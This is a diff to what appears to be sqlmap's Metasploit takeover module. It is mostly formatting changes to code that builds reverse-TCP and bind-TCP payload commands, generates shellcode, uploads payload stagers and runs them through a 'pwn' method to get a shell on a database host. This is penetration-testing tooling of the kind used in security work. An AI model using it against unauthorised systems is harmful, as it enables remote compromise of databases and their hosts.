@@ -53,12 +53,9 @@ def __initVars(self):
5353 self .payloadStr = None
5454 self .encoderStr = None
5555 self .payloadConnStr = None
56-
5756 self .resourceFile = None
58-
5957 self .localIP = getLocalIP ()
6058 self .remoteIP = getRemoteIP ()
61-
6259 self .__msfCli = normalizePath (os .path .join (conf .msfPath , "msfcli" ))
6360 self .__msfConsole = normalizePath (os .path .join (conf .msfPath , "msfconsole" ))
6461 self .__msfEncode = normalizePath (os .path .join (conf .msfPath , "msfencode" ))
@@ -79,7 +76,7 @@ def __initVars(self):
7976 "windows" : {
8077 1 : ( "Reverse TCP: Connect back from the database host to this machine (default)" , "reverse_tcp" ),
8178 2 : ( "Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535" , "reverse_tcp_allports" ),
82- 3 : ( "Bind TCP: Listen on the database host for a connection" , "bind_tcp" ),
79+ 3 : ( "Bind TCP: Listen on the database host for a connection" , "bind_tcp" )
8380 },
8481 "linux" : {
8582 1 : ( "Reverse TCP: Connect back from the database host to this machine (default)" , "reverse_tcp" ),
@@ -304,16 +301,15 @@ def __forgeMsfCliCmd(self, exitfunc="process"):
304301 self .__cliCmd = "%s multi/handler PAYLOAD=%s" % (self .__msfCli , self .payloadConnStr )
305302 self .__cliCmd += " EXITFUNC=%s" % exitfunc
306303 self .__cliCmd += " LPORT=%s" % self .portStr
304+ #self.__cliCmd += " ExitOnSession=true"
307305
308306 if self .payloadStr == "windows/vncinject" :
309307 self .__cliCmd += " DisableCourtesyShell=1"
310308
311309 if self .connectionStr .startswith ("bind" ):
312310 self .__cliCmd += " RHOST=%s" % self .rhostStr
313-
314311 elif self .connectionStr .startswith ("reverse" ):
315312 self .__cliCmd += " LHOST=%s" % self .lhostStr
316-
317313 else :
318314 raise sqlmapDataException , "unexpected connection type"
319315
@@ -332,13 +328,12 @@ def __forgeMsfConsoleResource(self):
332328 self .__resource += "set SRVPORT %s\n " % self .__selectSMBPort ()
333329 self .__resource += "set PAYLOAD %s\n " % self .payloadConnStr
334330 self .__resource += "set LPORT %s\n " % self .portStr
331+ #self.__resource += "set ExitOnSession true\n"
335332
336333 if self .connectionStr .startswith ("bind" ):
337334 self .__resource += "set RHOST %s\n " % self .rhostStr
338-
339335 elif self .connectionStr .startswith ("reverse" ):
340336 self .__resource += "set LHOST %s\n " % self .lhostStr
341-
342337 else :
343338 raise sqlmapDataException , "unexpected connection type"
344339
@@ -352,6 +347,7 @@ def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
352347 self .__payloadCmd = "%s %s" % (self .__msfPayload , self .payloadConnStr )
353348 self .__payloadCmd += " EXITFUNC=%s" % exitfunc
354349 self .__payloadCmd += " LPORT=%s" % self .portStr
350+ #self.__payloadCmd += " ExitOnSession=true"
355351
356352 if self .connectionStr .startswith ("reverse" ):
357353 self .__payloadCmd += " LHOST=%s" % self .lhostStr
@@ -502,7 +498,7 @@ def createMsfShellcode(self, exitfunc, format, extra, encode):
502498 infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
503499 logger .info (infoMsg )
504500
505- self .__randStr = randomStr (lowercase = True )
501+ self .__randStr = randomStr (lowercase = True )
506502 self .__shellcodeFilePath = os .path .join (conf .outputPath , "tmpm%s" % self .__randStr )
507503
508504 self .__initVars ()
@@ -566,7 +562,7 @@ def createMsfPayloadStager(self, initialize=True):
566562 self .__fileFormat = "exe"
567563 else :
568564 self .exeFilePathLocal = os .path .join (conf .outputPath , "tmpm%s" % self .__randStr )
569- self .__fileFormat = "elf"
565+ self .__fileFormat = "elf"
570566
571567 if initialize :
572568 self .__initVars ()
@@ -592,7 +588,7 @@ def createMsfPayloadStager(self, initialize=True):
592588
593589 if payloadSize :
594590 payloadSize = payloadSize .group (1 )
595- exeSize = os .path .getsize (self .exeFilePathLocal )
591+ exeSize = os .path .getsize (self .exeFilePathLocal )
596592
597593 # Only pack the payload stager if the back-end DBMS operating
598594 # system is Windows and new portable executable template is
@@ -602,7 +598,7 @@ def createMsfPayloadStager(self, initialize=True):
602598 else :
603599 packedSize = None
604600
605- debugMsg = "the encoded payload size is %s bytes, " % payloadSize
601+ debugMsg = "the encoded payload size is %s bytes, " % payloadSize
606602
607603 if packedSize and packedSize < exeSize :
608604 debugMsg += "as a compressed portable executable its size "
@@ -637,10 +633,10 @@ def uploadMsfPayloadStager(self, web=False):
637633 def pwn (self , goUdf = False ):
638634 if goUdf :
639635 exitfunc = "thread"
640- func = self .__runMsfShellcodeRemote
636+ func = self .__runMsfShellcodeRemote
641637 else :
642638 exitfunc = "process"
643- func = self .__runMsfPayloadRemote
639+ func = self .__runMsfPayloadRemote
644640
645641 self .__runMsfCli (exitfunc = exitfunc )
646642
0 commit comments